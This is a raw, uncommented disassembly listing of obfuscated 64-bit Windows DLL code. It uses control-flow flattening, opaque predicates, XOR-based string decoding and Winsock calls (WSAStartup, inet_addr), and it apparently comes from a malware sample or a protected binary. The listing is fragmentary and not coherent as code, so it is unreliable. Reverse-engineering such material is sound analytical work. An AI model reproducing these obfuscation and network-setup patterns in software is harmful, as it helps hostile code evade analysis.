mov ecx, 0x35a41a47
cmovne ecx, r9d
mov ebx, 0x35a41a47
cmovne ebx, r10d
mov edi, 0x55d640b9
nop word [rax + rax]
cmp edi, 0x35a41a46
jle 0x180065a70
cmp edi, 0x35a41a47
je 0x180065a85
cmp edi, 0x55d640b9
je 0x180065ac8
cmp edi, 0x445ef7f9
jne 0x180065a10
mov qword [rbp + 0x278], rax
mov edi, 0x5893db15
cmp edi, 0x95107206
je 0x180065acf
cmp edi, 0x5893db15
jne 0x180065a40
mov rdi, qword [rbp + 0x278]
movzx edi, word [rdi]
mov word [rbp + 0x268], di
mov edi, 0x95107206
jmp 0x180065a40
cmp edi, 0x90413a6d
je 0x180065ae7
cmp edi, 0xe6e83258
jne 0x180065a10
jmp 0x180065bd1
mov qword [rbp + 0x278], rax
mov edi, 0x5893db15
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0x95107206
je 0x180065af1
cmp edi, 0x5893db15
jne 0x180065aa0
mov rdi, qword [rbp + 0x278]
movzx edi, word [rdi]
mov word [rbp + 0x268], di
mov edi, 0x95107206
jmp 0x180065aa0
mov edi, ebx
jmp 0x180065a10
movzx edi, word [rbp + 0x268]
xor edi, 0x6f
mov word [rbp + 0x238], di
mov edi, ecx
jmp 0x180065a10
mov edi, 0xe6e83258
jmp 0x180065a10
movzx edi, word [rbp + 0x268]
mov edi, 0x445ef7f9
jmp 0x180065a10
cmp edx, 0xa1c7fec4
je 0x180066c76
cmp edx, 0xae719b3b
je 0x180065d3b
cmp edx, 0xe5a43cfc
jne 0x180065990
mov rcx, qword [rbp + 0x250]
movzx edx, word [rbp + 0x234]
mov word [rcx], dx
mov rcx, qword [rbp + 0x250]
add rcx, 2
mov qword [rbp + 0x260], rcx
mov rcx, qword [rbp + 0x270]
add rcx, 8
mov qword [rbp + 0x248], rcx
mov ecx, dword [0x180129c00]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x742706bb
mov ecx, 0x403fb35e
jmp 0x180065d54
cmp edx, 0x403fb35e
je 0x180065d12
cmp edx, 0x742706bb
jne 0x180065990
mov rcx, qword [rbp + 0x250]
movzx edx, word [rbp + 0x234]
mov word [rcx], dx
mov rcx, qword [rbp + 0x250]
mov rcx, qword [rbp + 0x270]
mov edx, 0xe5a43cfc
jmp 0x180065990
movzx ecx, word [rbp + 0x238]
mov word [rdx + 2], cx
add rdx, 4
mov qword [rbp + 0x250], rdx
mov ecx, dword [0x180129bf8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bfc], 0xa
setl dl
or dl, cl
mov edx, 0x35a41a47
cmovne edx, r9d
mov ebx, 0x35a41a47
cmovne ebx, r10d
mov ecx, 0x55d640b9
nop dword [rax]
cmp ecx, 0x35a41a46
jle 0x180065c80
cmp ecx, 0x35a41a47
je 0x180065c95
cmp ecx, 0x55d640b9
je 0x180065cd8
cmp ecx, 0x445ef7f9
jne 0x180065c20
mov qword [rbp + 0x278], rax
mov ecx, 0x5893db15
cmp ecx, 0x95107206
je 0x180065cdf
cmp ecx, 0x5893db15
jne 0x180065c50
mov rcx, qword [rbp + 0x278]
movzx ecx, word [rcx]
mov word [rbp + 0x268], cx
mov ecx, 0x95107206
jmp 0x180065c50
cmp ecx, 0x90413a6d
je 0x180065cf7
cmp ecx, 0xe6e83258
jne 0x180065c20
jmp 0x180065d23
mov qword [rbp + 0x278], rax
mov ecx, 0x5893db15
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x95107206
je 0x180065d01
cmp ecx, 0x5893db15
jne 0x180065cb0
mov rcx, qword [rbp + 0x278]
movzx ecx, word [rcx]
mov word [rbp + 0x268], cx
mov ecx, 0x95107206
jmp 0x180065cb0
mov ecx, ebx
jmp 0x180065c20
movzx ecx, word [rbp + 0x268]
xor ecx, 0x6b
mov word [rbp + 0x238], cx
mov ecx, edx
jmp 0x180065c20
mov ecx, 0xe6e83258
jmp 0x180065c20
movzx ecx, word [rbp + 0x268]
mov ecx, 0x445ef7f9
jmp 0x180065c20
mov edx, 0x979c142
mov r8, qword [rbp + 0x260]
jmp 0x180065990
movzx ecx, word [rbp + 0x238]
mov word [rbp + 0x234], cx
mov edx, 0xae719b3b
jmp 0x180065990
mov ecx, dword [0x180129c00]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x742706bb
mov ecx, 0xe5a43cfc
cmove edx, ecx
cmp dword [0x180129c04], 0xa
cmovl edx, ecx
jmp 0x180065990
mov rax, qword [rbp + 0x278]
movsx eax, byte [rax]
mov dword [rbp + 0x270], eax
mov eax, dword [0x180129be8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129bec], 0xa
setl cl
or cl, al
mov ebx, 0x8ceba71e
cmovne ebx, r8d
mov ecx, 0x8ceba71e
cmovne ecx, r9d
mov eax, 0x97144bdb
nop dword [rax + rax]
cmp eax, 0xaff5b1c5
jle 0x180065de0
cmp eax, 0xaff5b1c6
je 0x180065dff
cmp eax, 0x51b33e4e
je 0x180065e26
cmp eax, 0x611fa820
jne 0x180065db0
jmp 0x180066cbe
cmp eax, 0x8ceba71e
je 0x180065e2a
cmp eax, 0x97144bdb
jne 0x180065db0
mov dword [rbp + 0x250], 0x5a
mov eax, 0x51b33e4e
jmp 0x180065db0
movsxd rdx, dword [rbp + 0x250]
imul rax, rdx, 0x4ec4ec4f
mov rdi, rax
shr rdi, 0x3f
shr rax, 0x22
add eax, edi
lea edi, [rax + rax*2]
lea eax, [rax + rdi*4]
sub edx, eax
mov eax, ebx
jmp 0x180065db0
mov eax, ecx
jmp 0x180065db0
mov eax, dword [rbp + 0x250]
mov eax, dword [rbp + 0x250]
mov eax, 0xaff5b1c6
jmp 0x180065db0
mov word [rbp + 0x248], dx
movzx ecx, word [rbp + 0x248]
mov rdx, qword [rbp + 0x250]
mov word [rdx], cx
mov edx, 0x9cb2de12
nop dword [rax]
cmp edx, 0x9fc43e8
jle 0x180065e90
cmp edx, 0x9fc43e9
je 0x180065f19
cmp edx, 0x6de20b4a
jne 0x180065e60
jmp 0x180066d07
cmp edx, 0x9cb2de12
je 0x180065f3b
cmp edx, 0xf7d73950
jne 0x180065e60
mov rcx, qword [rbp + 0x248]
movzx ecx, word [rcx]
mov dword [rbp + 0x268], ecx
movzx ecx, word [rax]
mov ebx, 0xbc0f47ce
jmp 0x180065ee0
mov word [rbp + 0x238], cx
movzx ebx, word [rbp + 0x238]
mov edx, dword [rbp + 0x268]
xor dx, bx
mov ebx, 0xdb4a6155
nop word [rax + rax]
cmp ebx, 0xdb4a6155
je 0x180065fb7
cmp ebx, 0xbc0f47ce
jne 0x180065ee0
mov edx, 0xd353301c
nop dword [rax]
cmp edx, 0xd353301c
je 0x180065f12
cmp edx, 0x10dca7d2
jne 0x180065f00
jmp 0x180065ebe
mov edx, 0x10dca7d2
jmp 0x180065f00
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x278]
mov edx, 0x9fc43e9
mov ebx, 0x6de20b4a
cmove edx, ebx
jmp 0x180065e60
mov rdx, qword [rbp + 0x250]
mov dword [rbp + 0x268], WSAStartup
movzx ebx, word [rax]
mov esi, 0xbc0f47ce
nop word cs:[rax + rax]
nop
cmp esi, 0xdb4a6155
je 0x180066049
cmp esi, 0xbc0f47ce
jne 0x180065f60
mov edi, 0xd353301c
nop dword [rax]
cmp edi, 0xd353301c
je 0x180065f92
cmp edi, 0x10dca7d2
jne 0x180065f80
jmp 0x180065f99
mov edi, 0x10dca7d2
jmp 0x180065f80
mov word [rbp + 0x238], bx
movzx esi, word [rbp + 0x238]
mov edi, dword [rbp + 0x268]
xor di, si
mov esi, 0xdb4a6155
jmp 0x180065f60
mov word [rbp + 0x238], dx
movzx ecx, word [rbp + 0x238]
mov rdx, qword [rbp + 0x260]
mov word [rdx], cx
mov rcx, qword [rbp + 0x260]
mov dword [rbp + 0x268], WSAStartup
movzx edx, word [rax]
mov edi, 0xbc0f47ce
jmp 0x180066010
mov word [rbp + 0x238], dx
movzx edi, word [rbp + 0x238]
mov ebx, dword [rbp + 0x268]
xor bx, di
mov edi, 0xdb4a6155
nop word cs:[rax + rax]
cmp edi, 0xdb4a6155
je 0x1800660c7
cmp edi, 0xbc0f47ce
jne 0x180066010
mov ebx, 0xd353301c
nop dword [rax]
cmp ebx, 0xd353301c
je 0x180066042
cmp ebx, 0x10dca7d2
jne 0x180066030
jmp 0x180065fea
mov ebx, 0x10dca7d2
jmp 0x180066030
mov word [rbp + 0x238], di
movzx ebx, word [rbp + 0x238]
mov word [rdx + 2], bx
mov dword [rbp + 0x268], WSAStartup
movzx ebx, word [rax]
mov esi, 0xbc0f47ce
nop dword [rax]
cmp esi, 0xdb4a6155
je 0x1800660f9
cmp esi, 0xbc0f47ce
jne 0x180066070
mov edi, 0xd353301c
nop dword [rax]
cmp edi, 0xd353301c
je 0x1800660a2
cmp edi, 0x10dca7d2
jne 0x180066090
jmp 0x1800660a9
mov edi, 0x10dca7d2
jmp 0x180066090
mov word [rbp + 0x238], bx
movzx esi, word [rbp + 0x238]
mov edi, dword [rbp + 0x268]
xor di, si
mov esi, 0xdb4a6155
jmp 0x180066070
mov word [rbp + 0x238], bx
movzx edx, word [rbp + 0x238]
mov word [rcx + 2], dx
add rcx, 4
mov rdx, qword [rbp + 0x270]
add rdx, 0xe
mov qword [rbp + 0x278], rdx
mov edx, 0x9fc43e9
jmp 0x180065e60
mov word [rbp + 0x238], di
movzx ebx, word [rbp + 0x238]
mov word [rdx + 4], bx
add rdx, 6
mov qword [rbp + 0x260], rdx
lea rdx, [0x18011fbb4]
mov qword [rbp + 0x248], rdx
mov edx, 0xf7d73950
jmp 0x180065e60
movzx edx, word [rbp + 0x248]
xor edx, 0x65
mov word [rcx + 2], dx
mov qword [rbp + 0x278], rax
mov edx, 0xce195e6f
nop dword [rax + rax]
cmp edx, 0xfa6b2617
je 0x180066d55
cmp edx, 0xce195e6f
jne 0x180066150
mov rdx, qword [rbp + 0x278]
movzx edx, word [rdx]
mov word [rbp + 0x248], dx
mov edx, 0xfa6b2617
jmp 0x180066150
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
mov dl, byte [rdx]
mov byte [rbp + 0x260], dl
mov ebx, 0xf903eb77
nop word [rax + rax]
cmp ebx, 0x25d84f40
je 0x180066dac
cmp ebx, 0xf903eb77
jne 0x1800661a0
movsx edx, byte [rbp + 0x260]
mov ebx, 0x25d84f40
jmp 0x1800661a0
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
add cl, 0x47
mov byte [rax], cl
mov dword [rbp + 0x278], 3
mov edx, 0x551dceed
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1badd59c
je 0x180066dec
cmp edx, 0x551dceed
jne 0x1800661f0
mov ecx, dword [rbp + 0x278]
mov edx, 0x1badd59c
jmp 0x1800661f0
mov dword [rbp + 0x278], 0x65
mov word [rbp + 0x248], cx
movzx ecx, word [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dx, cx
mov word [rax], dx
mov edx, 0xca464dc6
nop word [rax + rax]
cmp edx, 0x9bc96918
je 0x180066e31
cmp edx, 0xca464dc6
jne 0x180066240
mov ecx, 0xa03b8c2a
nop dword [rax]
cmp ecx, 0xa03b8c2a
je 0x180066272
cmp ecx, 0xf339a4f2
jne 0x180066260
jmp 0x180066279
mov ecx, 0xf339a4f2
jmp 0x180066260
mov word [rbp + 0x278], 7
movzx ecx, word [rbp + 0x278]
mov edx, 0x9bc96918
jmp 0x180066240
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 1], bl
mov edx, 0xbf0a975f
nop
cmp edx, 0xbf0a975f
je 0x1800662c5
cmp edx, 0x86611407
jne 0x1800662b0
jmp 0x180066e6b
mov edx, 0x86611407
jmp 0x1800662b0
mov rax, qword [rbp + 0x278]
movzx ecx, word [rbp + 0x260]
mov word [rax], cx
mov rsi, qword [rbp + 0x278]
sub rsp, 0x20
lea rdi, [rbp + 0x22f8]
mov rcx, rdi
mov dx, 0x6f
call fcn.1800979e0
add rsp, 0x20
mov word [rsi + 2], ax
sub rsp, 0x20
mov rcx, rdi
mov dx, WSAStartup
call fcn.1800979e0
add rsp, 0x20
mov word [rsi + 4], ax
mov word [rsi + 6], 0
sub rsp, 0x20
mov rcx, rdi
call fcn.18008e4e0
add rsp, 0x20
mov qword [rbp - 0x28], rax
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcf469ddc
mov ecx, 0x476219af
cmove eax, ecx
cmp dword [0x1801297ec], 0xa
cmovl eax, ecx
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov rax, qword [rbp + 0x278]
movzx r8d, word [rax]
mov ebx, dword [0x180129bf0]
mov ecx, dword [0x180129bf4]
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
mov edi, 0xefcdc21f
cmove edi, r9d
cmp ecx, 0xa
cmovl edi, r9d
mov esi, 0x3cc8ca93
nop
cmp esi, 0x7d9dde1b
je 0x180066eb3
cmp esi, 0x3cc8ca93
jne 0x1800663a0
test dl, 1
sete byte [rbp + 0x268]
cmp ecx, 0xa
setl byte [rbp + 0x270]
mov ebx, 0x66b90669
nop dword [rax]
cmp ebx, 0xefcdc21e
jg 0x180066400
cmp ebx, 0x9f128bec
je 0x180066449
cmp ebx, 0xa7b69cb2
je 0x180066437
cmp ebx, 0xdb190901
jne 0x1800663d0
mov ebx, 0x9f128bec
jmp 0x1800663d0
cmp ebx, 0xefcdc21f
je 0x18006643b
cmp ebx, 0xdf49869
je 0x180066442
cmp ebx, 0x66b90669
jne 0x1800663d0
movzx eax, byte [rbp + 0x268]
cmp byte [rbp + 0x270], 0
mov ebx, 0xefcdc21f
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x1800663d0
mov ebx, edi
jmp 0x1800663d0
mov ebx, 0xa7b69cb2
jmp 0x1800663d0
mov ebx, 0xdb190901
jmp 0x1800663d0
mov dword [rbp + 0x250], 8
mov eax, dword [rbp + 0x250]
movzx ebx, ax
add ebx, r8d
mov esi, 0x7d9dde1b
jmp 0x1800663a0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x278], edx
mov ebx, 0x9ecf9227
nop word cs:[rax + rax]
nop
cmp ebx, 0xe1858133
je 0x180066fc9
cmp ebx, 0x9ecf9227
jne 0x180066490
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov ebx, 0xe1858133
jmp 0x180066490
mov word [rbp + 0x248], bx
movzx ecx, word [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dx, cx
mov word [rax + 2], dx
add rax, 4
mov qword [rbp + 0x260], rax
lea rax, [0x18011fbb2]
mov qword [rbp + 0x248], rax
mov eax, 0x42cdfb8f
cmp eax, 0xc7848040
je 0x18006700c
cmp eax, 0x42cdfb8f
jne 0x1800664f0
mov rax, qword [rbp + 0x248]
movzx eax, word [rax]
mov dword [rbp + 0x250], eax
mov eax, dword [0x180129bc0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129bc4], 0xa
setl cl
or cl, al
mov ebx, 0x32563533
cmovne ebx, esi
mov ecx, 0x32563533
cmovne ecx, r8d
mov eax, 0xd26fdbfa
nop word cs:[rax + rax]
cmp eax, 0x15714128
jle 0x1800665a0
cmp eax, 0x15714129
je 0x18006660f
cmp eax, 0x32563533
je 0x1800665b5
cmp eax, 0x2be4a460
jne 0x180066550
mov eax, 0x26fa7f10
nop word cs:[rax + rax]
nop
cmp eax, 0x26fa7f10
je 0x180066590
cmp eax, 0x789dc127
jne 0x180066580
jmp 0x1800665d7
mov eax, 0x789dc127
jmp 0x180066580
cmp eax, 0xd26fdbfa
je 0x1800665ee
cmp eax, 0xed401dca
jne 0x180066550
mov eax, 0x15714129
jmp 0x180066550
mov eax, 0x26fa7f10
nop word [rax + rax]
cmp eax, 0x26fa7f10
je 0x1800665d0
cmp eax, 0x789dc127
jne 0x1800665c0
jmp 0x1800665f5
mov eax, 0x789dc127
jmp 0x1800665c0
mov word [rbp + 0x270], reloc.WS2_32.dll_inet_addr
movzx edx, word [rbp + 0x270]
mov eax, ebx
jmp 0x180066550
mov eax, ecx
jmp 0x180066550
mov word [rbp + 0x270], reloc.WS2_32.dll_inet_addr
movzx eax, word [rbp + 0x270]
mov eax, 0x2be4a460
jmp 0x180066550
mov word [rbp + 0x270], dx
movzx eax, word [rbp + 0x270]
mov ecx, dword [rbp + 0x250]
add cx, ax
mov rax, qword [rbp + 0x260]
mov word [rax], cx
mov rax, qword [rbp + 0x260]
add rax, 2
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x250], WSAStartup
mov eax, dword [0x180129bc0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129bc4], 0xa
setl cl
or cl, al
mov ebx, 0x32563533
cmovne ebx, esi
mov ecx, 0x32563533
cmovne ecx, r8d
mov eax, 0xd26fdbfa
cmp eax, 0x15714128
jle 0x1800666d0
cmp eax, 0x15714129
je 0x18006673f
cmp eax, 0x32563533
je 0x1800666e5
cmp eax, 0x2be4a460
jne 0x180066680
mov eax, 0x26fa7f10
nop word cs:[rax + rax]
nop
cmp eax, 0x26fa7f10
je 0x1800666c0
cmp eax, 0x789dc127
jne 0x1800666b0
jmp 0x180066707
mov eax, 0x789dc127
jmp 0x1800666b0
cmp eax, 0xd26fdbfa
je 0x18006671e
cmp eax, 0xed401dca
jne 0x180066680
mov eax, 0x15714129
jmp 0x180066680
mov eax, 0x26fa7f10
nop word [rax + rax]
cmp eax, 0x26fa7f10
je 0x180066700
cmp eax, 0x789dc127
jne 0x1800666f0
jmp 0x180066725
mov eax, 0x789dc127
jmp 0x1800666f0
mov word [rbp + 0x270], reloc.WS2_32.dll_inet_addr
movzx edx, word [rbp + 0x270]
mov eax, ebx
jmp 0x180066680
mov eax, ecx
jmp 0x180066680
mov word [rbp + 0x270], reloc.WS2_32.dll_inet_addr
movzx eax, word [rbp + 0x270]
mov eax, 0x2be4a460
jmp 0x180066680
mov word [rbp + 0x270], dx
movzx eax, word [rbp + 0x270]
mov ecx, dword [rbp + 0x250]
add cx, ax
mov word [rbp + 0x268], cx
mov eax, 0xc7848040
jmp 0x1800664f0
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x278]
mov byte [rax + 2], cl
mov edx, 0x8e7cd9ae
nop dword [rax + rax]
cmp edx, 0x424d75d7
je 0x180067131
cmp edx, 0x8e7cd9ae
jne 0x180066780
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x1800667b2
cmp ecx, 0xcb19b41
jne 0x1800667a0
jmp 0x1800667b9
mov ecx, 0xcb19b41
jmp 0x1800667a0
mov dword [rbp + 0x278], 0x5f
movsxd rcx, dword [rbp + 0x278]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x73
mov edx, 0x424d75d7
jmp 0x180066780
mov rcx, qword [rbp + 0x128]
sub rsp, 0x20
call fcn.180091ab0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x1800668a0
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp edx, 0xfe90a09b
jle 0x180066910
cmp edx, 0x333d8297
jle 0x180066960
cmp edx, 0x5cca55f4
jg 0x1800669da
cmp edx, 0x333d8298
je 0x180066a9d
cmp edx, 0x33ec62ab
je 0x180066ab6
cmp edx, 0x42d422e5
jne 0x1800668a0
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x1800668a0
cmp edx, 0xc5fd57a7
jle 0x1800669a0
cmp edx, 0xeb000b68
jg 0x180066a0a
cmp edx, 0xc5fd57a8
je 0x180066ac7
cmp edx, 0xd1e81d16
je 0x180066ad6
cmp edx, 0xd597d4ff
jne 0x1800668a0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x1800668a0
cmp edx, 0x12a1b9d7
jle 0x180066a3c
cmp edx, 0x12a1b9d8
je 0x180066aef
cmp edx, 0x181b9de8
je 0x180066afe
cmp edx, 0x28ad3f39
jne 0x1800668a0
mov edx, 0x73f80f82
jmp 0x1800668a0
cmp edx, 0xb163ad29
jle 0x180066a6e
cmp edx, 0xb163ad2a
je 0x180066b2e
cmp edx, 0xb9d33223
je 0x180066b5b
cmp edx, 0xbb6ed30e
jne 0x1800668a0
mov edx, 0x12a1b9d8
jmp 0x1800668a0
cmp edx, 0x5cca55f5
je 0x180066b6c
cmp edx, 0x7343bfbc
je 0x180066851
cmp edx, 0x73f80f82
jne 0x1800668a0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x1800668a0
cmp edx, 0xeb000b69
je 0x180066b85
cmp edx, 0xfb306983
jne 0x180066bfc
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x1800668a0
cmp edx, 0xfe90a09c
je 0x180066bb0
cmp edx, 0x1dd0b01
jne 0x1800668a0
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x1800668a0
cmp edx, 0x87cbc1a8
je 0x180066be2
cmp edx, 0x9302de66
jne 0x1800668a0
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x1800668a0
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x1800668a0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x1800668a0
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x1800668a0
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x1800668a0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x1800668a0
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x1800668a0
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x1800668a0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x1800668a0
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x1800668a0
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x1800668a0
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x1800668a0
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x1800668a0
cmp edx, 0xf6d6bd87
jne 0x1800668a0
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov r8d, dword [rbp + 0x21c]
sub r8d, dword [rbp + 0x228]
mov edx, dword [rbp + 0x228]
add rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x200]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x2ec]
call rax
movabs r11, 0x100000001b3
add rsp, 0x30
test eax, eax
mov eax, 0x96ca8348
mov ecx, 0xe485e7f1
cmove eax, ecx
jmp 0x18005ef80
add esi, 2
mov rcx, qword [rbp + 0x100]
sub rsp, 0x20
call fcn.1800921a0
mov rcx, qword [rbp - 0x10]
mov edx, 2
mov r8, rax
mov r9d, esi
call fcn.1800ca6e0
add rsp, 0x20
test eax, eax
sete byte [rbp + 0x225]
mov eax, 0x134b8ddd
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov byte [rbp + 0x268], dl
movsx eax, byte [rbp + 0x268]
mov dword [rbp + 0x250], eax
mov ecx, 0x67afa13d
nop word cs:[rax + rax]
cmp ecx, 0xb7da92c8
je 0x1800671c0
cmp ecx, 0x67afa13d
jne 0x180066ce0
mov eax, dword [rbp + 0x270]
add eax, dword [rbp + 0x250]
mov ecx, 0xb7da92c8
jmp 0x180066ce0
mov rcx, qword [rbp + 0x188]
sub rsp, 0x20
call fcn.18008f8a0
add rsp, 0x20
mov rcx, qword [rbp - 0x50]
mov r9d, dword [rbp + 0xa0]
sub rsp, 0x20
mov edx, 2
mov r8, rax
call fcn.1800ca6e0
movabs r11, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0x9c], eax
mov eax, 0x19561102
jmp 0x18005ef80
movzx edx, word [rbp + 0x248]
add edx, 1
xor edx, 0x72
mov word [rcx + 4], dx
mov qword [rbp + 0x278], rax
mov edx, 0xce195e6f
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xfa6b2617
je 0x1800672b2
cmp edx, 0xce195e6f
jne 0x180066d80
mov rdx, qword [rbp + 0x278]
movzx edx, word [rdx]
mov word [rbp + 0x248], dx
mov edx, 0xfa6b2617
jmp 0x180066d80
mov dword [rbp + 0x278], edx
mov edx, dword [rbp + 0x248]
xor edx, dword [rbp + 0x278]
mov byte [rcx + 1], dl
mov dword [rbp + 0x248], WSAStartup
mov edx, 0x423f0e31
cmp edx, 0x423f0e31
je 0x180066de5
cmp edx, 0x3f505f3e
jne 0x180066dd0
jmp 0x18006730c
mov edx, 0x3f505f3e
jmp 0x180066dd0
mov byte [rbp + 0x248], cl
mov cl, byte [rbp + 0x248]
add cl, 0x65
mov byte [rax + 1], cl
mov dword [rbp + 0x278], 3
mov edx, 0x551dceed
nop dword [rax]
cmp edx, 0x1badd59c
je 0x180067352
cmp edx, 0x551dceed
jne 0x180066e10
mov ecx, dword [rbp + 0x278]
mov edx, 0x1badd59c
jmp 0x180066e10
mov dword [rbp + 0x278], WSAStartup
mov word [rbp + 0x248], cx
movzx ecx, word [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dx, cx
mov word [rax + 2], dx
add rax, 4
mov qword [rbp + 0x248], rax
mov eax, 0xd6f8421c
jmp 0x1800673f0
mov dword [rbp + 0x248], 0x65
mov dl, byte [rax]
mov byte [rbp + 0x260], dl
mov ebx, 0x1f14b4ef
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x47d1636d
je 0x180067646
cmp ebx, 0x1f14b4ef
jne 0x180066e90
movsx rdx, byte [rbp + 0x260]
mov ebx, 0x47d1636d
jmp 0x180066e90
mov dword [rbp + 0x250], ebx
mov eax, dword [rbp + 0x250]
mov rcx, qword [rbp + 0x248]
mov word [rcx], ax
mov r8, qword [rbp + 0x248]
mov ebx, dword [0x180129bf0]
mov ecx, dword [0x180129bf4]
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
mov edi, 0xefcdc21f
cmove edi, r9d
cmp ecx, 0xa
cmovl edi, r9d
mov esi, 0x3cc8ca93
nop word [rax + rax]
cmp esi, 0x7d9dde1b
je 0x18006768c
cmp esi, 0x3cc8ca93
jne 0x180066f00
test dl, 1
sete byte [rbp + 0x268]
cmp ecx, 0xa
setl byte [rbp + 0x270]
mov ebx, 0x66b90669
nop dword [rax]
cmp ebx, 0xefcdc21e
jg 0x180066f60
cmp ebx, 0x9f128bec
je 0x180066fa9
cmp ebx, 0xa7b69cb2
je 0x180066f97
cmp ebx, 0xdb190901
jne 0x180066f30
mov ebx, 0x9f128bec
jmp 0x180066f30
cmp ebx, 0xefcdc21f
je 0x180066f9b
cmp ebx, 0xdf49869
je 0x180066fa2
cmp ebx, 0x66b90669
jne 0x180066f30
movzx eax, byte [rbp + 0x268]
cmp byte [rbp + 0x270], 0
mov ebx, 0xefcdc21f
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180066f30
mov ebx, edi
jmp 0x180066f30
mov ebx, 0xa7b69cb2
jmp 0x180066f30
mov ebx, 0xdb190901
jmp 0x180066f30
